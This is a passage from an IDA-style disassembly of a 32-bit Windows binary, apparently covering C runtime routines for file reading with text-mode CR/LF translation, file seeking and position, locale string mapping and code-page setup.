		call	sub_41E20D
		add	esp, 10h

loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4

loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------

loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]

loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_4397AC, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------

loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------

loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------

loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_48B340[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------

loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_43BC20

loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h

loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_48B440
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48B340h[eax*4]
		mov	eax, ds:dword_48B340[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:off_424074
		test	eax, eax
		jnz	short loc_41E3E9
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	ds:dword_48A014, 9
		mov	ds:dword_48A018, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD

loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------

loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------

loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh

loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3

loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------

loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:off_424074
		test	eax, eax
		jnz	short loc_41E48A
		call	ds:dword_42408C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41E4D1

loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC

loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------

loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5

loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh

loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi

loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------

loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al

loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------

loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9

loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh

loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_48B440
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	ds:dword_48A014, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:off_4240C0
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		call	ds:dword_42408C	; RtlGetLastWin32Error
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------

loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax

loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------

loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9

loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh

loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx

loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_48B340[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx

loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]

loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------

loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	ds:dword_48A014, 16h

loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------

loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]

loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------

loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7

loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]

loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]

loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_48A0C0, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_4241C8	; LCMapStringW
		test	eax, eax
		jz	short loc_41E75D
		mov	ds:dword_48A0C0, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------

loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43C824
		push	esi
		push	edi
		call	ds:dword_4241C4	; LCMapStringA
		test	eax, eax
		jz	loc_41E897
		mov	ds:dword_48A0C0, 2

loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, ds:dword_48A0C0
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C4	; LCMapStringA
		jmp	loc_41E899
; ---------------------------------------------------------------------------

loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, ds:dword_48A0B8
		mov	[ebp+arg_18], eax

loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_424070	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_424070	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C8	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C8	; LCMapStringW
		test	eax, eax
		jnz	loc_41E926

loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax

loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4241C8	; LCMapStringW
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------

loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_424150	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897

loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_48B444
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_43B940

loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43BA30
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_4241CC	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		cmp	[ebp+var_18], 1
		mov	ds:dword_48B444, esi
		rep stosd
		stosb
		mov	ds:dword_48B664, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]

loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	ds:byte_48B561[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------

loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B950[esi]

loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26

loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_43B938[edx]

loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	ds:byte_48B561[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14

loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA

loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	ds:dword_48B45C, 1
		push	eax
